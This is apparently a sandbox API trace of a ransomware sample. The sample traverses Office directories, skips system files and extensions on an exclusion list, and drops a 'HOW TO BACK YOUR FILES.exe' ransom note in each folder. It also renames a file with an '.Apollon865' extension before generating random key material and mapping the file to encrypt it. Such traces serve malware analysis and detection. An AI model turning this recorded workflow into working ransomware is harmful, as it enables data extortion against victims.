	[0067.648] lstrcmpiW (lpString1="MSGR3ES.DLL", lpString2="..") returned 1
	[0067.648] lstrcmpiW (lpString1="MSGR3ES.DLL", lpString2="windows") returned -1
	[0067.648] lstrcmpiW (lpString1="MSGR3ES.DLL", lpString2="bootmgr") returned 1
	[0067.648] lstrcmpiW (lpString1="MSGR3ES.DLL", lpString2="temp") returned -1
	[0067.648] lstrcmpiW (lpString1="MSGR3ES.DLL", lpString2="pagefile.sys") returned -1
	[0067.648] lstrcmpiW (lpString1="MSGR3ES.DLL", lpString2="boot") returned 1
	[0067.648] lstrcmpiW (lpString1="MSGR3ES.DLL", lpString2="ids.txt") returned 1
	[0067.648] lstrcmpiW (lpString1="MSGR3ES.DLL", lpString2="ntuser.dat") returned -1
	[0067.648] lstrcmpiW (lpString1="MSGR3ES.DLL", lpString2="perflogs") returned -1
	[0067.648] lstrcmpiW (lpString1="MSGR3ES.DLL", lpString2="MSBuild") returned 1
	[0067.648] lstrlenW (lpString="MSGR3ES.DLL") returned 11
	[0067.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\*") returned 55
	[0067.648] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="MSGR3ES.DLL" | out: lpString1="MSGR3ES.DLL") returned="MSGR3ES.DLL"
	[0067.648] lstrlenW (lpString="MSGR3ES.DLL") returned 11
	[0067.649] lstrlenW (lpString="Apollon865") returned 10
	[0067.649] lstrcmpiW (lpString1="SGR3ES.DLL", lpString2="Apollon865") returned 1
	[0067.649] lstrlenW (lpString=".dll") returned 4
	[0067.649] lstrcmpiW (lpString1="MSGR3ES.DLL", lpString2=".dll") returned 1
	[0067.649] lstrlenW (lpString=".lnk") returned 4
	[0067.649] lstrcmpiW (lpString1="MSGR3ES.DLL", lpString2=".lnk") returned 1
	[0067.649] lstrlenW (lpString=".ini") returned 4
	[0067.649] lstrcmpiW (lpString1="MSGR3ES.DLL", lpString2=".ini") returned 1
	[0067.649] lstrlenW (lpString=".sys") returned 4
	[0067.649] lstrcmpiW (lpString1="MSGR3ES.DLL", lpString2=".sys") returned 1
	[0067.649] lstrlenW (lpString="MSGR3ES.DLL") returned 11
	[0067.649] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036"
	[0067.649] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0067.649] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe28 | out: hHeap=0x580000) returned 1
	[0067.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036") returned 53
	[0067.649] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036"
	[0067.649] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0067.649] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1036\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0067.683] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0067.683] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x406a00b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x406a00b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0067.683] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0067.683] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0067.683] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0067.683] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x406a00b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x406a00b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.683] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0067.683] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0067.683] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0067.683] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0067.683] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x406a00b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x406a00b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0067.683] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0067.683] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c189700, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa4551080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6c189700, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0xc6f390, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSGR3FR.DLL", cAlternateFileName="")) returned 1
	[0067.683] lstrcmpiW (lpString1="MSGR3FR.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0067.683] lstrcmpiW (lpString1="MSGR3FR.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0067.683] lstrcmpiW (lpString1="MSGR3FR.DLL", lpString2=".") returned 1
	[0067.683] lstrcmpiW (lpString1="MSGR3FR.DLL", lpString2="..") returned 1
	[0067.684] lstrcmpiW (lpString1="MSGR3FR.DLL", lpString2="windows") returned -1
	[0067.684] lstrcmpiW (lpString1="MSGR3FR.DLL", lpString2="bootmgr") returned 1
	[0067.684] lstrcmpiW (lpString1="MSGR3FR.DLL", lpString2="temp") returned -1
	[0067.684] lstrcmpiW (lpString1="MSGR3FR.DLL", lpString2="pagefile.sys") returned -1
	[0067.684] lstrcmpiW (lpString1="MSGR3FR.DLL", lpString2="boot") returned 1
	[0067.684] lstrcmpiW (lpString1="MSGR3FR.DLL", lpString2="ids.txt") returned 1
	[0067.684] lstrcmpiW (lpString1="MSGR3FR.DLL", lpString2="ntuser.dat") returned -1
	[0067.684] lstrcmpiW (lpString1="MSGR3FR.DLL", lpString2="perflogs") returned -1
	[0067.684] lstrcmpiW (lpString1="MSGR3FR.DLL", lpString2="MSBuild") returned 1
	[0067.684] lstrlenW (lpString="MSGR3FR.DLL") returned 11
	[0067.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\*") returned 55
	[0067.684] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="MSGR3FR.DLL" | out: lpString1="MSGR3FR.DLL") returned="MSGR3FR.DLL"
	[0067.684] lstrlenW (lpString="MSGR3FR.DLL") returned 11
	[0067.684] lstrlenW (lpString="Apollon865") returned 10
	[0067.684] lstrcmpiW (lpString1="SGR3FR.DLL", lpString2="Apollon865") returned 1
	[0067.684] lstrlenW (lpString=".dll") returned 4
	[0067.684] lstrcmpiW (lpString1="MSGR3FR.DLL", lpString2=".dll") returned 1
	[0067.684] lstrlenW (lpString=".lnk") returned 4
	[0067.684] lstrcmpiW (lpString1="MSGR3FR.DLL", lpString2=".lnk") returned 1
	[0067.684] lstrlenW (lpString=".ini") returned 4
	[0067.684] lstrcmpiW (lpString1="MSGR3FR.DLL", lpString2=".ini") returned 1
	[0067.684] lstrlenW (lpString=".sys") returned 4
	[0067.684] lstrcmpiW (lpString1="MSGR3FR.DLL", lpString2=".sys") returned 1
	[0067.684] lstrlenW (lpString="MSGR3FR.DLL") returned 11
	[0067.684] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033"
	[0067.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0067.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe08 | out: hHeap=0x580000) returned 1
	[0067.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033") returned 53
	[0067.685] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033"
	[0067.685] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0067.685] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0067.699] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0067.699] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x406a00b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x406a00b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0067.699] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0067.699] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0067.699] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0067.699] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x406a00b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x406a00b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.699] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0067.699] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0067.699] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0067.699] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0067.699] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x406a00b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x406a00b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0067.699] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0067.699] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdcf7a00, ftCreationTime.dwHighDateTime=0x1ca60f4, ftLastAccessTime.dwLowDateTime=0x97748b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfdcf7a00, ftLastWriteTime.dwHighDateTime=0x1ca60f4, nFileSizeHigh=0x0, nFileSizeLow=0x517800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSGR3EN.DLL", cAlternateFileName="")) returned 1
	[0067.699] lstrcmpiW (lpString1="MSGR3EN.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0067.699] lstrcmpiW (lpString1="MSGR3EN.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0067.699] lstrcmpiW (lpString1="MSGR3EN.DLL", lpString2=".") returned 1
	[0067.699] lstrcmpiW (lpString1="MSGR3EN.DLL", lpString2="..") returned 1
	[0067.699] lstrcmpiW (lpString1="MSGR3EN.DLL", lpString2="windows") returned -1
	[0067.699] lstrcmpiW (lpString1="MSGR3EN.DLL", lpString2="bootmgr") returned 1
	[0067.699] lstrcmpiW (lpString1="MSGR3EN.DLL", lpString2="temp") returned -1
	[0067.699] lstrcmpiW (lpString1="MSGR3EN.DLL", lpString2="pagefile.sys") returned -1
	[0067.699] lstrcmpiW (lpString1="MSGR3EN.DLL", lpString2="boot") returned 1
	[0067.699] lstrcmpiW (lpString1="MSGR3EN.DLL", lpString2="ids.txt") returned 1
	[0067.699] lstrcmpiW (lpString1="MSGR3EN.DLL", lpString2="ntuser.dat") returned -1
	[0067.699] lstrcmpiW (lpString1="MSGR3EN.DLL", lpString2="perflogs") returned -1
	[0067.699] lstrcmpiW (lpString1="MSGR3EN.DLL", lpString2="MSBuild") returned 1
	[0067.699] lstrlenW (lpString="MSGR3EN.DLL") returned 11
	[0067.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\*") returned 55
	[0067.700] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="MSGR3EN.DLL" | out: lpString1="MSGR3EN.DLL") returned="MSGR3EN.DLL"
	[0067.700] lstrlenW (lpString="MSGR3EN.DLL") returned 11
	[0067.700] lstrlenW (lpString="Apollon865") returned 10
	[0067.700] lstrcmpiW (lpString1="SGR3EN.DLL", lpString2="Apollon865") returned 1
	[0067.700] lstrlenW (lpString=".dll") returned 4
	[0067.700] lstrcmpiW (lpString1="MSGR3EN.DLL", lpString2=".dll") returned 1
	[0067.700] lstrlenW (lpString=".lnk") returned 4
	[0067.700] lstrcmpiW (lpString1="MSGR3EN.DLL", lpString2=".lnk") returned 1
	[0067.700] lstrlenW (lpString=".ini") returned 4
	[0067.700] lstrcmpiW (lpString1="MSGR3EN.DLL", lpString2=".ini") returned 1
	[0067.700] lstrlenW (lpString=".sys") returned 4
	[0067.700] lstrcmpiW (lpString1="MSGR3EN.DLL", lpString2=".sys") returned 1
	[0067.700] lstrlenW (lpString="MSGR3EN.DLL") returned 11
	[0067.700] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE"
	[0067.700] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a200 | out: hHeap=0x580000) returned 1
	[0067.700] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fde8 | out: hHeap=0x580000) returned 1
	[0067.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned 51
	[0067.700] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE"
	[0067.700] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0067.700] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0067.719] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0067.719] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x406ec370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x406ec370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0067.719] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0067.719] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0067.719] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0067.719] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x406ec370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x406ec370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.719] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0067.719] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0067.719] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0067.719] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0067.719] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x406ec370, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x406ec370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0067.719] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0067.719] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb180a100, ftCreationTime.dwHighDateTime=0x1ca10e6, ftLastAccessTime.dwLowDateTime=0x59d27370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb180a100, ftLastWriteTime.dwHighDateTime=0x1ca10e6, nFileSizeHigh=0x0, nFileSizeLow=0xfb6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL001.XML", cAlternateFileName="")) returned 1
	[0067.719] lstrcmpiW (lpString1="PGLBL001.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0067.720] lstrcmpiW (lpString1="PGLBL001.XML", lpString2="Apollon865.txt.exe") returned 1
	[0067.720] lstrcmpiW (lpString1="PGLBL001.XML", lpString2=".") returned 1
	[0067.720] lstrcmpiW (lpString1="PGLBL001.XML", lpString2="..") returned 1
	[0067.720] lstrcmpiW (lpString1="PGLBL001.XML", lpString2="windows") returned -1
	[0067.720] lstrcmpiW (lpString1="PGLBL001.XML", lpString2="bootmgr") returned 1
	[0067.720] lstrcmpiW (lpString1="PGLBL001.XML", lpString2="temp") returned -1
	[0067.720] lstrcmpiW (lpString1="PGLBL001.XML", lpString2="pagefile.sys") returned 1
	[0067.720] lstrcmpiW (lpString1="PGLBL001.XML", lpString2="boot") returned 1
	[0067.720] lstrcmpiW (lpString1="PGLBL001.XML", lpString2="ids.txt") returned 1
	[0067.720] lstrcmpiW (lpString1="PGLBL001.XML", lpString2="ntuser.dat") returned 1
	[0067.720] lstrcmpiW (lpString1="PGLBL001.XML", lpString2="perflogs") returned 1
	[0067.720] lstrcmpiW (lpString1="PGLBL001.XML", lpString2="MSBuild") returned 1
	[0067.720] lstrlenW (lpString="PGLBL001.XML") returned 12
	[0067.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\*") returned 53
	[0067.720] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL001.XML" | out: lpString1="PGLBL001.XML") returned="PGLBL001.XML"
	[0067.720] lstrlenW (lpString="PGLBL001.XML") returned 12
	[0067.720] lstrlenW (lpString="Apollon865") returned 10
	[0067.720] lstrcmpiW (lpString1="LBL001.XML", lpString2="Apollon865") returned 1
	[0067.720] lstrlenW (lpString=".dll") returned 4
	[0067.720] lstrcmpiW (lpString1="PGLBL001.XML", lpString2=".dll") returned 1
	[0067.720] lstrlenW (lpString=".lnk") returned 4
	[0067.720] lstrcmpiW (lpString1="PGLBL001.XML", lpString2=".lnk") returned 1
	[0067.720] lstrlenW (lpString=".ini") returned 4
	[0067.720] lstrcmpiW (lpString1="PGLBL001.XML", lpString2=".ini") returned 1
	[0067.720] lstrlenW (lpString=".sys") returned 4
	[0067.720] lstrcmpiW (lpString1="PGLBL001.XML", lpString2=".sys") returned 1
	[0067.720] lstrlenW (lpString="PGLBL001.XML") returned 12
	[0067.720] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL001.XML.Apollon865") returned 75
	[0067.720] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL001.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl001.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL001.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl001.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL001.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl001.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.721] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=4022) returned 1
	[0067.721] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0067.722] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0067.722] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0067.722] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0067.722] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.723] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0067.723] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12c0, lpName=0x0) returned 0x150
	[0067.728] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12c0) returned 0x100000
	[0067.731] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0067.732] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.732] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0067.732] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0067.732] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0067.732] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0067.732] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0067.732] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0067.732] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0067.732] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0067.732] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0067.732] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0067.732] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0067.732] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0067.733] CloseHandle (hObject=0x150) returned 1
	[0067.733] CloseHandle (hObject=0x15c) returned 1
	[0067.733] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0067.733] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0067.733] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
